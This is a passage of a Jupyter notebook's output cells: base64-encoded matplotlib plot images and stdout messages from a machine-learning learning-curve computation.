CYmxuP2UlBQwIwZMzhz5gx2u50//OEPtGjRwiN/\nLxcaOnQoc+bMwcvLyyP3Unok8okTJ7BYLEydOpU6dep45F4AXn75ZXbs2IExhkmTJnHzzTd77F4A\n3n77bby9vRk+fDiAx/5flp+fzwsvvMDp06cpKSlh2LBhtGvXziP3kpmZyeTJkyksLMTf35/Y2FgK\nCgrKfS+KvoiISBWhl/dFRESqCEVfRESkilD0RUREqghFX0REpIpQ9EVERKoIRV+kEps7dy7h4eH0\n69ePdu3aER4eTnh4OB999NFljxEXF8c///nPSz4mPDz8WpdaKaSnp9O7d++KXoZIpaWP7Il4gPT0\ndIYNG0ZiYmJFL6VS089J5NJ0aV0RD7Vs2TJSUlI4efIkTz31FC1btmTx4sUUFRWRnZ3NtGnTePDB\nB4mKiqJTp0506tSJcePG0bJlS/bv30+9evWIi4sjMDCQW2+9lYMHD7Js2TIyMjI4evQox48fZ9Cg\nQYwePZqSkhJeeuklkpOTueGGG7BYLIwZM4bOnTtftKY333yTzz//vOxEIdOmTSMxMZEFCxawfv16\nTp06xdChQ0lISCAnJ4fo6GgKCgrIzMxkxIgRDBs2jGXLlnHixAkOHjzI2bNnmThxItu3b2fXrl3c\ndtttLF68mJ07d7Js2TK8vb05efIkHTp0IDY29qK1nDlzhtmzZ3Pq1CksFgtTpkyhS5cubNu2jYUL\nFwLnz/K2aNEi6tatW26/N5GKpOiLeDCbzcZnn30GQGRkJDExMbRo0YJt27Yxb948HnzwwYseVO4U\nxgAABEtJREFUf+DAAebNm0ebNm0YP34869evZ+jQoRc95uDBg7z//vvk5ubSp08fnnrqKdatW0dh\nYSFffPEFJ06coH///v+xlo0bN7J3717WrFmDxWJh2rRp/P3vfyc8PJyvvvqK5cuXs3PnTqZPn86N\nN97IO++8w5gxYwgNDeXYsWMMGDCAYcOGAXDo0CESEhL4/vvvefrpp1m/fj3NmjWjX79+HDx4EIDd\nu3ezdu1amjdvzoQJE3j//fe57777ytYTGxvLY489xr333ssvv/xCREQEa9eu5Y033mDOnDl06NCB\n9957j3379tGtWzeX/l5EKitFX8SDdejQoezrhQsXkpSUxBdffMGuXbsuuhBHqXr16tGmTRsAWrZs\nSXZ29n88pnPnzvj4+FCvXj0CAwPJzc1ly5YtDB48GIvFQqNGjS46r3upbdu2sXv3bh599FEAioqK\naNiwIXD+NND9+vUjJCSEhx56CICoqCg2bdrEihUrOHjwIAUFBWVjde3aFW9vbxo2bEhQUBC33HIL\nADfccEPZmu++++6yU02Hh4eTkJBwUfS3bt3K4cOHWbp0KQB2u51jx45x7733Mm7cOPr06cO9995L\n165dL/fHLeLxFH0RD1a9evWyryMiIujcuTOdO3cmNDSUqVOn/sfjfX19y762WCz81iE9v/UYq9WK\n0+m85FocDgdPP/00I0aMAM5f6c1qtQLnX2q3Wq0cOXIEm82Gj48PEydOJCAggLCwMPr168c//vGP\nsrGqVatW9vWFl7u+UOnYQNkaL+R0OvnrX/9KYGAgcP7CQPXr16d169aEhYWRlJTEwoUL2b17N6NH\nj77k3kSuFzp6X+Q6cO7cOX766ScmTJhAz5492bJlCw6Hw2Xjd+nShc8++6zsSnQ7d+4suw54qXvu\nuYd169aRn5+P3W5n7NixfPnllzgcDmbMmMGLL77I3XffzZIlSwDYsmULkZGR9OnTh++++w7gitac\nnJxMRkYGTqeTtWvX0qNHj/9Yz6pVqwBITU1lwIABFBYWMmjQIPLz8xk+fDjDhw9n37591/KjEfEo\neqYvch0IDAxk0KBBPPTQQ/j5+dGxY0eKioouesn8WgwePJgDBw7Qv39/goKCaNiw4UWvMgD07t2b\nAwcOMHjwYBwOB927d2fgwIG8/fbb1KtXj/vvv58uXbrw8MMPc//99zN+/HgiIiIICAigefPmNGrU\niPT09MteU4MGDXj++efJyMiga9euDBo0iJMnT5bdP3PmTGbPnl12/MHLL7+Mn58fkydPJioqCm9v\nb3x9fZk7d65LfkYinkAf2ROR3/XNN99gjCEsLIzc3FweeeQRPvroo7KXzsvbjh07eO2114iPj6+Q\n+UU8lZ7pi8jvatGiBc8//3zZS/ORkZEVFnwRuXp6pi8iIlJF6EA+ERGRKkLRFxERqSIUfRERkSpC\n0RcREakiFH0REZEqQtEXERGpIv4PNFkhhRPVoYQAAAAASUVORK5CYII=\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f1558423e48>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "learning curve in process...\n",
      "Learning curve done!\n"
     ]
    },
    {
     "data": {
      "image/png": "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\neR8ffPBBPPjgg0hJSVG2GThwIHbs2IFPP/0UJ0+exJEjR9CyZctC67yZ+nNs2bIFf/31FwYNGqQs\nU6lUOH369C2/jmu1a9cOw4cPx/nz53HPPfdg3LhxsFqtyMjIULbZvXs3atasiZYtWwIAGjRogPj4\nePz+++9QqVSIi4tTDp9Xr14d9913H9RqNWrUqAG32w2XywWz2Zxnv23btsXmzZuRnJyMHTt2YNOm\nTfjoo4/w2WefoUWLFmjdujWMRiO2bduGtm3bYtmyZRg3blye59DpdOjcuTO++eYbDBkyBOvXr8cX\nX3xR4tdeUGhiuFNIkmUZL730Etq3bw/Af9jR7XbD6XQiISEBDzzwAO6880706dMHGzduhMieIsFk\nMuV5noiICOW2SqVStrtWToCrVCoAgBAiX0Co1QWfxdJoNMrjAMBms8Fms+Xbn9frzfO43LXeeeed\n8Pl82L17N7755hssXbr0uu8DALz77rs4fPgwfv31V8ybNw/Lly/HrFmzCqwx5zUVtMzn8+Wr53qv\nTwiBQ4cOwWKxKMveeecd7N69G3369MHdd98Nn8+n7K+wOotbfw5ZltG2bVvlEDkAnD9/HhUrVsSG\nDRuK/TqsVmuhn1OLFi3www8/YOvWrdi2bRv69euHjz76CBUrVsxTz7Vy3ledTqecA89R0B8euV25\ncgUzZszAq6++ijvvvBN33nknRo4ciZdffhmrV69GixYtAACPPvooli9fjujoaDidTtxzzz35nqtX\nr16YOHEiWrVqhbp16yI6Ovq6+6bwwXPuFJLuu+8+fPnll/B4PJBlGa+++iref/99nDp1Cna7Hc88\n8ww6duyI33//XdmmpLVv3x5r166Fx+OBz+crtOu/5557sGHDBuVc+IwZM7Bw4ULExsbiyJEjcLvd\n8Pl82LRp03X3169fP0yePBmNGjVC1apVART+PqSmpqJ9+/aIjo7GoEGD8Mwzz+DQoUPXff42bdpg\ny5YtOHPmDAD/EYfz588rHWdhWrZsiWPHjuHIkSMAgB9++AHPP/98nm1++eUXDBw4EL169UK5cuXw\n66+/QpKkQuu8mfqvfR3Hjh0DAPz000/o0aOH8kdPcV9HZGQkvF6vcs4/98WH7777Lj7++GM88MAD\nePnll1G/fn2cPHkSWq0WkiRBCIGWLVvixIkTyvULR44cwfbt29G6desivZ5rRUVF4ddff8Xnn3+u\n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\nsb7